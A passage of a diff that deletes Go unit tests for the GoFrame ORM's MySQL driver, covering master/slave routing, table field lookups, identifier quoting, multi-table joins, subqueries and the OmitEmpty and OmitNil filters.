defer dropTableWithDb(masterSlaveDB.Schema("slave"), table)
var wg sync.WaitGroup
concurrency := 10
// Concurrent writes to master
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
_, err := masterSlaveDB.Model(table).Insert(g.Map{
"passport": fmt.Sprintf("concurrent_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
t.AssertNil(err)
}(i)
}
wg.Wait()
// Verify writes went to master
count, err := masterSlaveDB.Model(table).Master().Count()
t.AssertNil(err)
t.Assert(count, concurrency)
})
}
// Test_Master_Slave_Transaction_Routing tests transaction routing to master
func Test_Master_Slave_Transaction_Routing(t *testing.T) {
var err error
gtest.C(t, func(t *gtest.T) {
_, err = db.Exec(ctx, "CREATE DATABASE IF NOT EXISTS `master` CHARACTER SET UTF8")
t.AssertNil(err)
_, err = db.Exec(ctx, "CREATE DATABASE IF NOT EXISTS `slave` CHARACTER SET UTF8")
t.AssertNil(err)
})
defer func() {
_, _ = db.Exec(ctx, "DROP DATABASE `master`")
_, _ = db.Exec(ctx, "DROP DATABASE `slave`")
}()
var (
configKey = guid.S()
configGroup = gdb.ConfigGroup{
gdb.ConfigNode{
Host: "127.0.0.1",
Port: "3306",
User: "root",
Pass: "12345678",
Name: "master",
Type: "mysql",
Role: "master",
Weight: 100,
},
gdb.ConfigNode{
Host: "127.0.0.1",
Port: "3306",
User: "root",
Pass: "12345678",
Name: "slave",
Type: "mysql",
Role: "slave",
Weight: 100,
},
}
)
gdb.SetConfigGroup(configKey, configGroup)
masterSlaveDB := g.DB(configKey)
gtest.C(t, func(t *gtest.T) {
table := "table_" + guid.S()
createTableWithDb(masterSlaveDB.Schema("master"), table)
createTableWithDb(masterSlaveDB.Schema("slave"), table)
defer dropTableWithDb(masterSlaveDB.Schema("master"), table)
defer dropTableWithDb(masterSlaveDB.Schema("slave"), table)
// Transaction should route to master
err := masterSlaveDB.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
_, err := tx.Model(table).Insert(g.Map{
"passport": "tx_user",
"password": "tx_pass",
"nickname": "tx_name",
})
if err != nil {
return err
}
// Read within transaction should also use master
count, err := tx.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 1)
return nil
})
t.AssertNil(err)
// Verify data is in master
count, err := masterSlaveDB.Model(table).Master().Count()
t.AssertNil(err)
t.Assert(count, 1)
})
}
// Test_Master_Slave_Explicit_Selection tests explicit master/slave selection
func Test_Master_Slave_Explicit_Selection(t *testing.T) {
var err error
gtest.C(t, func(t *gtest.T) {
_, err = db.Exec(ctx, "CREATE DATABASE IF NOT EXISTS `master` CHARACTER SET UTF8")
t.AssertNil(err)
_, err = db.Exec(ctx, "CREATE DATABASE IF NOT EXISTS `slave` CHARACTER SET UTF8")
t.AssertNil(err)
})
defer func() {
_, _ = db.Exec(ctx, "DROP DATABASE `master`")
_, _ = db.Exec(ctx, "DROP DATABASE `slave`")
}()
var (
configKey = guid.S()
configGroup = gdb.ConfigGroup{
gdb.ConfigNode{
Host: "127.0.0.1",
Port: "3306",
User: "root",
Pass: "12345678",
Name: "master",
Type: "mysql",
Role: "master",
Weight: 100,
},
gdb.ConfigNode{
Host: "127.0.0.1",
Port: "3306",
User: "root",
Pass: "12345678",
Name: "slave",
Type: "mysql",
Role: "slave",
Weight: 100,
},
}
)
gdb.SetConfigGroup(configKey, configGroup)
masterSlaveDB := g.DB(configKey)
gtest.C(t, func(t *gtest.T) {
table := "table_" + guid.S()
createTableWithDb(masterSlaveDB.Schema("master"), table)
createTableWithDb(masterSlaveDB.Schema("slave"), table)
defer dropTableWithDb(masterSlaveDB.Schema("master"), table)
defer dropTableWithDb(masterSlaveDB.Schema("slave"), table)
// Insert to master
_, err := masterSlaveDB.Model(table).Master().Insert(g.Map{
"passport": "explicit_test",
"password": "pass",
"nickname": "name",
})
t.AssertNil(err)
// Explicitly read from slave (should be empty)
count, err := masterSlaveDB.Model(table).Slave().Count()
t.AssertNil(err)
t.Assert(count, 0)
// Explicitly read from master (should have data)
count, err = masterSlaveDB.Model(table).Master().Count()
t.AssertNil(err)
t.Assert(count, 1)
})
}

View File

@ -1,115 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"testing"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_TableFields_Basic tests basic TableFields functionality
func Test_TableFields_Basic(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
fields, err := db.TableFields(ctx, table)
t.AssertNil(err)
t.AssertGT(len(fields), 0)
// Verify common fields exist
_, ok := fields["id"]
t.Assert(ok, true)
_, ok = fields["passport"]
t.Assert(ok, true)
_, ok = fields["password"]
t.Assert(ok, true)
_, ok = fields["nickname"]
t.Assert(ok, true)
_, ok = fields["create_time"]
t.Assert(ok, true)
})
}
// Test_TableFields_Schema tests TableFields with explicit schema
func Test_TableFields_Schema(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
fields, err := db.TableFields(ctx, table, TestSchema1)
t.AssertNil(err)
t.AssertGT(len(fields), 0)
// Verify field properties
idField, ok := fields["id"]
t.Assert(ok, true)
t.Assert(idField.Name, "id")
t.AssertGT(idField.Index, -1)
})
}
// Test_HasField_Positive tests HasField for existing field
func Test_HasField_Positive(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
has, err := db.GetCore().HasField(ctx, table, "id")
t.AssertNil(err)
t.Assert(has, true)
has, err = db.GetCore().HasField(ctx, table, "passport")
t.AssertNil(err)
t.Assert(has, true)
})
}
// Test_HasField_Negative tests HasField for non-existent field
func Test_HasField_Negative(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
has, err := db.GetCore().HasField(ctx, table, "non_exist_field")
t.AssertNil(err)
t.Assert(has, false)
})
}
// Test_HasField_Schema tests HasField with explicit schema
func Test_HasField_Schema(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
has, err := db.GetCore().HasField(ctx, table, "id", TestSchema1)
t.AssertNil(err)
t.Assert(has, true)
})
}
// Test_QuoteWord_Basic tests basic QuoteWord functionality
func Test_QuoteWord_Basic(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
quoted := db.GetCore().QuoteWord("user")
t.Assert(quoted, "`user`")
quoted = db.GetCore().QuoteWord("user_table")
t.Assert(quoted, "`user_table`")
})
}
// Test_QuoteWord_AlreadyQuoted tests QuoteWord with already quoted words
func Test_QuoteWord_AlreadyQuoted(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
// If already quoted, should not double quote
quoted := db.GetCore().QuoteWord("`user`")
t.Assert(quoted, "`user`")
})
}

View File

@ -175,339 +175,3 @@ func Test_Model_FieldsPrefix(t *testing.T) {
t.Assert(r[0]["nickname"], "name_1")
})
}
// Test_Model_Join_FiveTables tests complex join with 5+ tables
func Test_Model_Join_FiveTables(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
table3 = gtime.TimestampNanoStr() + "_table3"
table4 = gtime.TimestampNanoStr() + "_table4"
table5 = gtime.TimestampNanoStr() + "_table5"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
createInitTable(table3)
defer dropTable(table3)
createInitTable(table4)
defer dropTable(table4)
createInitTable(table5)
defer dropTable(table5)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id", "nickname").
FieldsPrefix("t2", "passport").
InnerJoin(table2+" AS t2", "t1.id = t2.id").
InnerJoin(table3+" AS t3", "t2.id = t3.id").
InnerJoin(table4+" AS t4", "t3.id = t4.id").
InnerJoin(table5+" AS t5", "t4.id = t5.id").
Where("t1.id IN(?)", g.Slice{1, 2, 3}).
Order("t1.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], "1")
t.Assert(r[0]["nickname"], "name_1")
t.Assert(r[0]["passport"], "user_1")
t.Assert(r[2]["id"], "3")
})
gtest.C(t, func(t *gtest.T) {
// 6 tables with mixed join types
table6 := gtime.TimestampNanoStr() + "_table6"
createInitTable(table6)
defer dropTable(table6)
r, err := db.Model(table1).As("t1").
Fields("t1.id").
InnerJoin(table2+" AS t2", "t1.id = t2.id").
LeftJoin(table3+" AS t3", "t2.id = t3.id").
InnerJoin(table4+" AS t4", "t3.id = t4.id").
RightJoin(table5+" AS t5", "t4.id = t5.id").
LeftJoin(table6+" AS t6", "t5.id = t6.id").
Where("t1.id", 5).
One()
t.AssertNil(err)
t.Assert(r["id"], "5")
})
}
// Test_Model_Join_SelfJoin tests self-join scenarios
func Test_Model_Join_SelfJoin(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Self-join to find pairs where a.id < b.id
r, err := db.Model(table).As("a").
Fields("a.id AS a_id", "b.id AS b_id").
InnerJoin(table+" AS b", "a.id < b.id").
Where("a.id", 1).
Where("b.id <=", 3).
Order("b.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["a_id"], "1")
t.Assert(r[0]["b_id"], "2")
t.Assert(r[1]["b_id"], "3")
})
gtest.C(t, func(t *gtest.T) {
// Self-join with multiple conditions
r, err := db.Model(table).As("a").
Fields("a.id", "a.nickname", "b.nickname AS other_nickname").
LeftJoin(table+" AS b", "a.id = b.id - 1").
Where("a.id IN(?)", g.Slice{1, 2}).
Order("a.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[0]["nickname"], "name_1")
t.Assert(r[0]["other_nickname"], "name_2")
t.Assert(r[1]["id"], "2")
t.Assert(r[1]["other_nickname"], "name_3")
})
}
// Test_Model_Join_LeftJoinNull tests LEFT JOIN NULL handling
func Test_Model_Join_LeftJoinNull(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
// Create table2 with only partial data
createTable(table2)
defer dropTable(table2)
_, err := db.Insert(ctx, table2, g.List{
{"id": 1, "passport": "user_1", "nickname": "name_1"},
{"id": 2, "passport": "user_2", "nickname": "name_2"},
})
if err != nil {
gtest.Fatal(err)
}
gtest.C(t, func(t *gtest.T) {
// LEFT JOIN - table1 has all records, table2 only has id 1,2
r, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id").
FieldsPrefix("t2", "nickname").
LeftJoin(table2+" AS t2", "t1.id = t2.id").
Where("t1.id IN(?)", g.Slice{1, 2, 3}).
Order("t1.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], "1")
t.Assert(r[0]["nickname"], "name_1") // matched
t.Assert(r[1]["id"], "2")
t.Assert(r[1]["nickname"], "name_2") // matched
t.Assert(r[2]["id"], "3")
// r[2]["nickname"] should be NULL/empty from t2
})
gtest.C(t, func(t *gtest.T) {
// Find records where RIGHT table is NULL
r, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id", "nickname").
LeftJoin(table2+" AS t2", "t1.id = t2.id").
Where("t2.id IS NULL").
Where("t1.id IN(?)", g.Slice{1, 2, 3, 4}).
Order("t1.id asc").
All()
t.AssertNil(err)
// Should return id 3,4 (not in table2)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "3")
t.Assert(r[0]["nickname"], "name_3")
t.Assert(r[1]["id"], "4")
})
}
// Test_Model_Join_RightJoinNull tests RIGHT JOIN NULL handling
func Test_Model_Join_RightJoinNull(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
// table1 has partial data
createTable(table1)
defer dropTable(table1)
_, err := db.Insert(ctx, table1, g.List{
{"id": 1, "passport": "user_1", "nickname": "name_1"},
{"id": 2, "passport": "user_2", "nickname": "name_2"},
})
if err != nil {
gtest.Fatal(err)
}
// table2 has all data
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
// RIGHT JOIN - table1 only has id 1,2, table2 has all
r, err := db.Model(table1).As("t1").
FieldsPrefix("t2", "id").
FieldsPrefix("t1", "nickname").
RightJoin(table2+" AS t2", "t1.id = t2.id").
Where("t2.id IN(?)", g.Slice{1, 2, 3}).
Order("t2.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], "1")
t.Assert(r[0]["nickname"], "name_1") // matched
t.Assert(r[1]["id"], "2")
t.Assert(r[1]["nickname"], "name_2") // matched
t.Assert(r[2]["id"], "3")
// r[2]["nickname"] should be NULL/empty from t1
})
gtest.C(t, func(t *gtest.T) {
// Find records where LEFT table is NULL
r, err := db.Model(table1).As("t1").
FieldsPrefix("t2", "id", "nickname").
RightJoin(table2+" AS t2", "t1.id = t2.id").
Where("t1.id IS NULL").
Where("t2.id IN(?)", g.Slice{1, 2, 3, 4}).
Order("t2.id asc").
All()
t.AssertNil(err)
// Should return id 3,4 (not in table1)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "3")
t.Assert(r[0]["nickname"], "name_3")
t.Assert(r[1]["id"], "4")
})
}
// Test_Model_Join_OnVsWhere tests difference between ON and WHERE conditions
func Test_Model_Join_OnVsWhere(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
// INNER JOIN: ON and WHERE behave the same
r1, err := db.Model(table1).As("t1").
Fields("t1.id").
InnerJoin(table2+" AS t2", "t1.id = t2.id AND t2.id <= 3").
Order("t1.id asc").
All()
t.AssertNil(err)
r2, err := db.Model(table1).As("t1").
Fields("t1.id").
InnerJoin(table2+" AS t2", "t1.id = t2.id").
Where("t2.id <=", 3).
Order("t1.id asc").
All()
t.AssertNil(err)
// For INNER JOIN, results should be identical
t.Assert(len(r1), 3)
t.Assert(len(r2), 3)
t.Assert(r1[0]["id"], r2[0]["id"])
})
gtest.C(t, func(t *gtest.T) {
// LEFT JOIN: ON filter in join condition vs WHERE filter after join
// ON condition: filters t2 before join (keeps all t1 rows)
r1, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id").
FieldsPrefix("t2", "nickname").
LeftJoin(table2+" AS t2", "t1.id = t2.id AND t2.id <= 2").
Where("t1.id <=", 4).
Order("t1.id asc").
All()
t.AssertNil(err)
// WHERE condition: filters result after join (removes t1 rows where t2 is NULL)
r2, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id").
FieldsPrefix("t2", "nickname").
LeftJoin(table2+" AS t2", "t1.id = t2.id").
Where("t1.id <=", 4).
Where("t2.id <=", 2).
Order("t1.id asc").
All()
t.AssertNil(err)
// r1: all t1 rows (1,2,3,4), t2 data only for id 1,2
t.Assert(len(r1), 4)
t.Assert(r1[0]["id"], "1")
t.Assert(r1[0]["nickname"], "name_1")
t.Assert(r1[2]["id"], "3")
// r1[2]["nickname"] is NULL from t2
// r2: only rows where t2.id <= 2, so only id 1,2
t.Assert(len(r2), 2)
t.Assert(r2[0]["id"], "1")
t.Assert(r2[1]["id"], "2")
})
}
// Test_Model_Join_ComplexConditions tests joins with complex ON conditions
func Test_Model_Join_ComplexConditions(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
// Multiple AND conditions in ON clause
r, err := db.Model(table1).As("t1").
Fields("t1.id", "t1.nickname").
InnerJoin(
table2+" AS t2",
"t1.id = t2.id AND t1.nickname = t2.nickname AND t1.id BETWEEN 2 AND 4",
).
Order("t1.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], "2")
t.Assert(r[2]["id"], "4")
})
gtest.C(t, func(t *gtest.T) {
// OR conditions in ON clause (need to use Where for OR in join)
r, err := db.Model(table1).As("t1").
Fields("t1.id").
InnerJoin(table2+" AS t2", "t1.id = t2.id").
Where("t2.id = 1 OR t2.id = 5").
Order("t1.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[1]["id"], "5")
})
}

View File

@ -7,7 +7,6 @@
package mysql_test
import (
"fmt"
"testing"
"github.com/gogf/gf/v2/frame/g"
@ -65,247 +64,3 @@ func Test_Model_SubQuery_Model(t *testing.T) {
t.Assert(r[0]["id"], 5)
})
}
// Test_Model_SubQuery_Correlated tests scalar subquery and correlated subquery with EXISTS
func Test_Model_SubQuery_Correlated(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Scalar subquery: find users whose id is greater than average id
subQuery := db.Model(table + " AS inner_table").Fields("AVG(id)")
r, err := db.Model(table).Where(
"id > (?)",
subQuery,
).OrderAsc("id").All()
t.AssertNil(err)
// Average of 1-10 is 5.5, so expect ids 6-10
t.Assert(len(r), 5)
t.Assert(r[0]["id"], 6)
t.Assert(r[4]["id"], 10)
})
gtest.C(t, func(t *gtest.T) {
// Correlated subquery with EXISTS: find users with id matching their own id
r, err := db.Model(table+" AS outer_table").
Where(
fmt.Sprintf("EXISTS (SELECT 1 FROM %s AS inner_table WHERE inner_table.id = outer_table.id AND inner_table.id <= ?)", table),
3,
).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 1)
t.Assert(r[2]["id"], 3)
})
}
// Test_Model_SubQuery_From tests subquery in FROM clause
func Test_Model_SubQuery_From(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Subquery in FROM clause
subQuery := db.Model(table).Where("id <=", 5)
r, err := db.Model("(?) AS sub", subQuery).
Fields("sub.id", "sub.nickname").
Where("sub.id >", 2).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 3)
t.Assert(r[0]["nickname"], "name_3")
t.Assert(r[2]["id"], 5)
})
gtest.C(t, func(t *gtest.T) {
// Multiple subqueries in FROM clause with JOIN
subQuery1 := db.Model(table).Fields("id", "nickname").Where("id <=", 3)
subQuery2 := db.Model(table).Fields("id", "passport").Where("id >=", 3)
r, err := db.Model("? AS a, ? AS b", subQuery1, subQuery2).
Fields("a.id", "a.nickname", "b.passport").
Where("a.id = b.id").
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 1)
t.Assert(r[0]["id"], 3)
t.Assert(r[0]["nickname"], "name_3")
t.Assert(r[0]["passport"], "user_3")
})
}
// Test_Model_SubQuery_Select tests subquery in SELECT clause
func Test_Model_SubQuery_Select(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Subquery in SELECT clause for scalar value
r, err := db.Model(table).
Fields("id", "nickname", fmt.Sprintf("(SELECT MAX(id) FROM %s) AS max_id", table)).
Where("id", 1).
One()
t.AssertNil(err)
t.Assert(r["id"], 1)
t.Assert(r["nickname"], "name_1")
t.Assert(r["max_id"], 10)
})
gtest.C(t, func(t *gtest.T) {
// Multiple subqueries in SELECT clause
r, err := db.Model(table).
Fields(
"id",
fmt.Sprintf("(SELECT MAX(id) FROM %s) AS max_id", table),
fmt.Sprintf("(SELECT MIN(id) FROM %s) AS min_id", table),
).
Where("id", 5).
One()
t.AssertNil(err)
t.Assert(r["id"], 5)
t.Assert(r["max_id"], 10)
t.Assert(r["min_id"], 1)
})
}
// Test_Model_SubQuery_Nested tests multi-level nested subqueries (3+ levels)
func Test_Model_SubQuery_Nested(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// 3-level nested subquery
// Level 3: innermost - get ids <= 8
level3 := db.Model(table).Fields("id").Where("id <=", 8)
// Level 2: middle - filter from level 3 where id >= 3
level2 := db.Model("(?) AS l3", level3).Fields("l3.id").Where("l3.id >=", 3)
// Level 1: outermost - filter from level 2 where id <= 6
r, err := db.Model(table).
Where("id IN (?)", level2).
Where("id <=", 6).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 4)
t.Assert(r[0]["id"], 3)
t.Assert(r[3]["id"], 6)
})
gtest.C(t, func(t *gtest.T) {
// 4-level nested subquery with aggregates
// Level 4: get all ids
level4 := db.Model(table).Fields("id")
// Level 3: get ids > 5 from level 4
level3 := db.Model("(?) AS l4", level4).Fields("l4.id").Where("l4.id >", 5)
// Level 2: get MIN(id) from level 3
level2 := db.Model("(?) AS l3", level3).Fields("MIN(l3.id)")
// Level 1: find records >= the minimum from level 2
r, err := db.Model(table).
Where("id >= (?)", level2).
OrderAsc("id").
All()
t.AssertNil(err)
// MIN(id) from level 3 should be 6, so expect ids 6-10
t.Assert(len(r), 5)
t.Assert(r[0]["id"], 6)
t.Assert(r[4]["id"], 10)
})
}
// Test_Model_SubQuery_WhereIn tests subquery with WHERE IN
func Test_Model_SubQuery_WhereIn(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Simple WHERE IN with subquery
subQuery := db.Model(table).Fields("id").Where("id IN(?)", g.Slice{2, 4, 6})
r, err := db.Model(table).
Where("id IN(?)", subQuery).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 2)
t.Assert(r[1]["id"], 4)
t.Assert(r[2]["id"], 6)
})
gtest.C(t, func(t *gtest.T) {
// Multiple WHERE IN subqueries combined
subQuery1 := db.Model(table).Fields("id").Where("id <=", 5)
subQuery2 := db.Model(table).Fields("id").Where("id >=", 3)
r, err := db.Model(table).
Where("id IN(?)", subQuery1).
Where("id IN(?)", subQuery2).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 3)
t.Assert(r[2]["id"], 5)
})
}
// Test_Model_SubQuery_Complex tests complex subquery combinations
func Test_Model_SubQuery_Complex(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Combine subquery in WHERE, FROM, and SELECT
whereSubQuery := db.Model(table).Fields("AVG(id)")
fromSubQuery := db.Model(table).Where("id <=", 7)
r, err := db.Model("(?) AS sub", fromSubQuery).
Fields("sub.id", "sub.nickname").
Where("sub.id > (?)", whereSubQuery).
OrderAsc("id").
All()
t.AssertNil(err)
// AVG(1-10) = 5.5, filter sub.id > 5.5 from ids 1-7
t.Assert(len(r), 2)
t.Assert(r[0]["id"], 6)
t.Assert(r[1]["id"], 7)
})
gtest.C(t, func(t *gtest.T) {
// Subquery with GROUP BY and HAVING
subQuery := db.Model(table).
Fields("id % 3 AS mod_group", "COUNT(*) AS cnt").
Group("mod_group").
Having("COUNT(*) >=", 3)
r, err := db.Model(table).
Where("id % 3 IN(?)", db.Model("(?) AS sub", subQuery).Fields("sub.mod_group")).
OrderAsc("id").
All()
t.AssertNil(err)
// id % 3: 0(3,6,9), 1(1,4,7,10), 2(2,5,8)
// Groups with count >= 3: 0(3 items), 1(4 items), 2(3 items) - all qualify
t.Assert(len(r), 10)
})
}

View File

@ -1,398 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"context"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Model_OmitEmpty_Comprehensive tests OmitEmpty filtering for both data and where parameters
func Test_Model_OmitEmpty_Comprehensive(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitEmpty with empty string in Data
result, err := db.Model(table).OmitEmpty().Data(g.Map{
"nickname": "", // empty string should be omitted
"passport": "new_user", // non-empty should be kept
}).Where("id", 1).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated (omitted)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1") // original value preserved
t.Assert(one["passport"], "new_user")
// Test OmitEmpty with empty slice in Where
all, err := db.Model(table).OmitEmpty().Where(g.Map{
"id": []int{}, // empty slice should be omitted
"passport": "new_user",
}).All()
t.AssertNil(err)
t.Assert(len(all), 1)
// Without OmitEmpty, empty slice causes WHERE 0=1
all, err = db.Model(table).Where(g.Map{
"id": []int{},
}).All()
t.AssertNil(err)
t.Assert(len(all), 0) // no results due to WHERE 0=1
})
}
// Test_Model_OmitEmptyWhere_Extended tests OmitEmpty filtering only for where parameters
func Test_Model_OmitEmptyWhere_Extended(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// OmitEmptyWhere only affects Where, not Data
result, err := db.Model(table).OmitEmptyWhere().Data(g.Map{
"nickname": "", // empty string in Data should NOT be omitted (only Where is affected)
}).Where(g.Map{
"id": 1,
"passport": "", // empty string in Where should be omitted
}).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was updated to empty (Data is not affected by OmitEmptyWhere)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "")
// Test with empty slice in Where
all, err := db.Model(table).OmitEmptyWhere().Where(g.Map{
"id": []int{}, // should be omitted
}).Order("id").Limit(3).All()
t.AssertNil(err)
t.Assert(len(all), 3) // returns results because empty condition was omitted
// Test with zero value in Where (zero is considered empty)
all, err = db.Model(table).OmitEmptyWhere().Where(g.Map{
"id": 0, // zero should be omitted
}).Order("id").Limit(3).All()
t.AssertNil(err)
t.Assert(len(all), 3)
})
}
// Test_Model_OmitEmptyData tests OmitEmpty filtering only for data parameters
func Test_Model_OmitEmptyData(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// OmitEmptyData only affects Data, not Where
result, err := db.Model(table).OmitEmptyData().Data(g.Map{
"nickname": "", // empty string in Data should be omitted
"passport": "test_user", // non-empty should be kept
}).Where(g.Map{
"id": 1,
}).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated (omitted), passport was updated
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1")
t.Assert(one["passport"], "test_user")
// Test Insert with OmitEmptyData
result, err = db.Model(table).OmitEmptyData().Data(g.Map{
"id": 100,
"passport": "user_100",
"nickname": "", // should be omitted
"password": "pass_100",
}).Insert()
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 1)
// Verify nickname is NULL (was omitted from INSERT)
one, err = db.Model(table).Where("id", 100).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_100")
t.Assert(one["nickname"].IsNil(), true)
})
}
// Test_Model_OmitNil_Comprehensive tests OmitNil filtering for both data and where parameters
func Test_Model_OmitNil_Comprehensive(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitNil with nil value in Data
result, err := db.Model(table).OmitNil().Data(g.Map{
"nickname": nil, // nil should be omitted
"passport": "nil_test", // non-nil should be kept
}).Where("id", 1).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated (omitted)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1")
t.Assert(one["passport"], "nil_test")
// Test OmitNil with nil in Where
all, err := db.Model(table).OmitNil().Where(g.Map{
"passport": nil, // nil should be omitted
}).Order("id").Limit(5).All()
t.AssertNil(err)
t.Assert(len(all), 5) // returns results because nil condition was omitted
// Without OmitNil, WHERE passport=NULL (which won't match anything)
all, err = db.Model(table).Where(g.Map{
"passport": nil,
}).All()
t.AssertNil(err)
t.Assert(len(all), 0) // NULL comparison doesn't match
})
}
// Test_Model_OmitNilWhere tests OmitNil filtering only for where parameters
func Test_Model_OmitNilWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// OmitNilWhere only affects Where, not Data
result, err := db.Model(table).OmitNilWhere().Data(g.Map{
"nickname": nil, // nil in Data should NOT be omitted (only Where is affected)
}).Where(g.Map{
"id": 1,
"passport": nil, // nil in Where should be omitted
}).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was set to NULL (Data is not affected by OmitNilWhere)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"].IsNil(), true)
// Test with nil in Where
all, err := db.Model(table).OmitNilWhere().Where(g.Map{
"passport": nil, // should be omitted
}).Order("id").Limit(3).All()
t.AssertNil(err)
t.Assert(len(all), 3) // returns results
})
}
// Test_Model_OmitNilData tests OmitNil filtering only for data parameters
func Test_Model_OmitNilData(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// OmitNilData only affects Data, not Where
result, err := db.Model(table).OmitNilData().Data(g.Map{
"nickname": nil, // nil in Data should be omitted
"passport": "omitnil_test", // non-nil should be kept
}).Where(g.Map{
"id": 1,
}).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated (omitted), passport was updated
